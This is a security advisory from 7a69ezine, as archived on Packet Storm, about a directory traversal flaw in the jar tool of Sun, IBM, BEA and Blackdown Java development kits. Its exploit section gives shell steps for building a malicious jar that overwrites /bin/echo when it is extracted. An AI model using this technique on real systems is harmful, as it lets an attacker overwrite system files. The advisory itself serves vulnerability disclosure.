exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

7a69ezine Advisory 23

7a69ezine Advisory 23
Posted Apr 18, 2005
Authored by Pluf, 7a69ezine | Site 7a69ezine.org

Various Java development kits all suffer from a jar tool directory traversal vulnerability.

tags | advisory, java
SHA-256 | dd8273fc003847bed700dff37cd4bd5cfb910422db91bfed77a781284a19ad78

7a69ezine Advisory 23

Change Mirror Download
- ------------------------------------------------------------------
7a69ezine Advisories 7a69Adv#23
- ------------------------------------------------------------------
http://www.7a69ezine.org [01/04/2005]
- ------------------------------------------------------------------

Title: Jar tool directory transversal vulnerability

Author: Pluf - <pluf@7a69ezine.org>

Remote: no

Exploit: yes

Severity: Medium-High

- ------------------------------------------------------------------




I. Introduction.

Jar is a java archiving and compression application, which is part
of many java development kits. It was desgined mainly to facilitate
the packaging of java applets or applications into a single archive.




II. Description.

The jar tool does not check properly if the files to be extracted
have the string "../" on its names, so it's possible for an attacker
to create a malicious jar file in order to overwrite arbitrary files
within the filesystem.




III. Affected Software.

The following java development kits have been tested and contain the
vulnerability, but maybe others kits and/or platforms could be affected
by the same:

* SUN:

Sun's J2SE Development Kit 1.5.0 (Solaris, Windows and Linux version)
Sun's J2SE Development Kit 1.4.2 (Solaris, Windows and Linux version)

* IBM:

IBM Java Development Kit 1.4.2 Linux

* BEA:

BEA WebLogic's J2SE Development Kit, version 1.5.0 (Linux and Windows
version)

* BLACKDOWN:

Blackdown Java Development Kit 1.4.2 Linux




IV. Exploit.

A malicious jar file can be created as follows:

java4fun# echo hi
hi
java4fun# jar cvf trash.jar *.class ..o..o..o..o..o..o..obinoecho
java4fun# ht trash.jar (change the 'o' by '/')
java4fun# jar xvf trash.jar (no overwrite message confirmation)
java4fun# echo hi
hi, you've just infected yourself!!!




V. Patch.

Not available.
Use unzip instead of jar.




VI. Timeline.

23/03/2005 Bug discovered.
28/03/2005 Mail sent to vendors.
28/03/2005 Sun response.
02/04/2005 Mail sent to vendors (second try)
09/04/2005 Advisory released




VII. Extra data

You can find more 7a69ezine advisories on this following link:

http://www.7a69ezine.org/avisos/propios [spanish info]


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close